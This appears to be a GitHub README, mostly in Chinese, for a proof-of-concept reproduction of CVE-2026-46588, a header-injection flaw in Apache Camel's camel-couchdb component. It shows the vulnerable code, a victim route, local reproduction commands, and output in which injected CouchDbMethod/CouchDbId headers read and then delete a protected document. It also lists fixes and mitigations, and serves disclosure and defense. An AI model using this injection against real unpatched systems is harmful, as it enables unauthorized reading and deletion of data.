oscerd/CVE-2026-46588

GitHub: oscerd/CVE-2026-46588

该项目复现了 Apache Camel camel-couchdb 组件中的 CVE-2026-46588 消息头注入漏洞,演示了如何通过注入 CouchDb* 头将只写端点变为读取和删除任意文档。

Stars: 0 | Forks: 0

# camel-couchdb `CouchDb*` Header Injection 复现项目 (CVE-2026-46588) 本项目演示了 Apache Camel 的 `camel-couchdb` 组件中的一个 **message-header injection(消息头注入)** 漏洞,追踪编号为 **CVE-2026-46588**。该组件会读取多个 Exchange header 来控制其行为 —— `CouchDbDatabase`、 `CouchDbSeq`、`CouchDbId`(文档 id)、`CouchDbRev`(文档 revision)和 `CouchDbMethod`(操作 method)。这些 header 常量的字符串值(在 `CouchDbConstants` 中定义)使用了 `CouchDb` 前缀, 而不是其他所有组件都在使用的标准 `Camel` 前缀。Camel 入站的 `HttpHeaderFilterStrategy` 仅拦截以 `Camel` / `camel` 开头的 header 名称,因此这些名称会原封不动地通过入站过滤器。 当路由在 couchdb producer 前方暴露 HTTP 入口点(例如 platform-http)时,不受信任的 HTTP 客户端可以直接设置这些 header 并 **覆盖路由作者预期的操作**。 此 PoC 将其影响演示为 **操作混淆**:一个 *write-only(只写)* 的文档入库 endpoint 被变成了 对任意文档的读取,随后又变成删除,这是通过注入 `CouchDbMethod`(和 `CouchDbId`)实现的。 安全公告: ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-couchdb` | | **受影响的类** | `org.apache.camel.component.couchdb.CouchDbProducer` 读取 `CouchDbConstants.HEADER_METHOD` (`"CouchDbMethod"`)、`HEADER_DOC_ID` (`"CouchDbId"`) 等。 | | **CWE** | CWE-20:输入验证不恰当 | | **影响** | HTTP 客户端设置 `CouchDb*` header → 覆盖操作/文档 → 信息泄露、删除、篡改 | | **前提条件** | 路由在 HTTP consumer(例如 platform-http)后暴露了 couchdb producer;如果 consumer 未经认证,则无需认证 | | **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 | | **已修复版本** | 4.14.8, 4.18.3, 4.21.0 | | **修复** | PR [apache/camel#23228](https://github.com/apache/camel/pull/23228) (main),通过 #23230 (4.18.x) / #23231 (4.14.x) 向后移植 | | **致谢** | Yu Bao (PayPal) | ## 技术细节 ``` // CouchDbConstants (affected 4.18.2) — the header names carry the CouchDb prefix, not Camel: String HEADER_METHOD = "CouchDbMethod"; String HEADER_DOC_ID = "CouchDbId"; // CouchDbProducer.process (affected 4.18.2) — the operation is chosen from the header: String operation = exchange.getIn().getHeader(CouchDbConstants.HEADER_METHOD, String.class); if (ObjectHelper.isEmpty(operation)) { saveJsonElement(json); // default: save the body } else if (operation.equalsIgnoreCase("DELETE")) { deleteJsonElement(json); // delete by the body's _id/_rev } else if (operation.equalsIgnoreCase("GET")) { String docId = exchange.getIn().getHeader(CouchDbConstants.HEADER_DOC_ID, String.class); exchange.getIn().setBody(getElement(docId)); // read an arbitrary document } ``` 修复方案(4.14.8 / 4.18.3 / 4.21.0)将 header **值** 重命名为符合 Camel 规范的格式 —— `CouchDbMethod` → `CamelCouchDbMethod`、`CouchDbId` → `CamelCouchDbId`、`CouchDbRev` → `CamelCouchDbRev`、`CouchDbDatabase` → `CamelCouchDbDatabase`、`CouchDbSeq` → `CamelCouchDbSeq` —— 以便它们能像其他所有 Camel 控制 header 一样被入站 `HttpHeaderFilterStrategy` 拦截。Java 常量的字段名称保持不变。 ## 受害者路由 ``` from("platform-http:/ingest") .removeHeaders("Camel*") // documented hardening — see below .convertBodyTo(String.class) .to("couchdb:http://:5984/cameldb?username=..&password=..&createDatabase=true"); ``` 路由作者的本意是构建一个 **write-only(只写)** 的入库 endpoint —— 客户端 POST 文档以供保存,仅此 而已。如文档所述,强化路由会在边缘剥离 Camel 控制 header 命名空间。**但这并没有 起作用**:操作 header 命名为 `CouchDbMethod`,而不是 `CamelCouchDbMethod`,因此无论是 `removeHeaders("Camel*")` 还是内置的 HTTP header 过滤器都无法将其剥离 —— 而 producer 会根据它切换操作。 ## 仓库结构 **受害者** 是 Camel 入库路由及其 CouchDB 数据库;**攻击者** 是一个未经认证的 HTTP 客户端,仅通过设置请求头发起攻击。一个小型的 REST **测试工具** 用于植入和读取机密文档以进行 验证,且独立于存在漏洞的路由。 ``` CVE-2026-46588/ ├── pom.xml # camel-platform-http + camel-couchdb 4.18.2 (gson pinned to 2.13.2, see note) ├── Dockerfile ├── docker-compose.yml # couchdb 3.3 + the app ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── CouchDbSettings.java # host / db / creds / secret document id + marker │ ├── CouchDbHarness.java # REST harness: waits for CouchDB, seeds + reads the secret doc │ ├── VictimRoute.java # platform-http:/ingest -> couchdb producer (write-only intent) │ └── ExploitController.java # attacker: POST /ingest with injected CouchDbMethod / CouchDbId headers └── resources/ └── application.properties ``` ## 前置条件 - Docker 和 Docker Compose(用于运行 CouchDB + 应用) - Java 17+ 和 Maven 3.8+(用于构建 jar 包) ## 复现步骤 ``` mvn clean package -DskipTests docker compose up -d --build # 等待 app 日志行 "Started Application",然后: curl -s http://localhost:8080/exploit/attack docker compose down -v ``` ### 预期输出 ``` secret document in CouchDB (read straight from the database): {"_id":"admin-secret","_rev":"...","secret":"confidential salary and bonus figures","marker":"FLAG{couchdb_method_injection_CVE_2026_46588}"} === 1) Legitimate ingest (no CouchDb* headers) — a new document is saved === {"note":"benign user submission"} === 2) Injected CouchDbMethod=GET + CouchDbId=admin-secret — reads a protected document === { "_id": "admin-secret", "_rev": "...", "marker": "FLAG{couchdb_method_injection_CVE_2026_46588}", ... } disclosure: true === 3) Injected CouchDbMethod=DELETE (with the leaked _rev) — deletes the protected document === secret document now: destruction: true >>> Operation-confusion / header-injection proof — an unauthenticated client turned a write-only >>> ingest endpoint into read (true) and delete (true) of an arbitrary document, via the CouchDbMethod / CouchDbId headers. ``` ## 攻击向量 任何包含可通过 HTTP consumer 访问的 couchdb producer 的路由。可注入的 header:`CouchDbMethod`(将 save 切换为 get / delete)、`CouchDbId`(用于 get 的目标文档),以及用于 delete 的 body 中的 `_id` / `_rev`。Consumer 端会额外添加 `CouchDbDatabase` 和 `CouchDbSeq`。 ## 推荐修复 升级至 **4.14.8 / 4.18.3 / 4.21.0**(见安全公告 PR #23228)。修复后,这些控制 header 将带有 Camel 前缀(`CamelCouchDbMethod`、`CamelCouchDbId` ……),并像其他所有控制 header 一样在 HTTP 边界被过滤。 ## 缓解措施 在升级之前,请在不受信任的入站消息到达 producer 之前剥离受影响的 header,例如在 couchdb endpoint 前添加 `.removeHeader("CouchDbDatabase")`、`.removeHeader("CouchDbId")`、`.removeHeader("CouchDbRev")`、 `.removeHeader("CouchDbSeq")` 和 `.removeHeader("CouchDbMethod")`,或者应用一个 可拦截这些名称的自定义 `HeaderFilterStrategy`。 ## 免责声明 此复现项目仅用于 **安全研究和授权测试**,针对的是一个 **已公开披露 且已修复** 的漏洞。未经明确许可,请勿将其用于攻击任何系统。
标签:JS文件枚举, 域名枚举, 请求拦截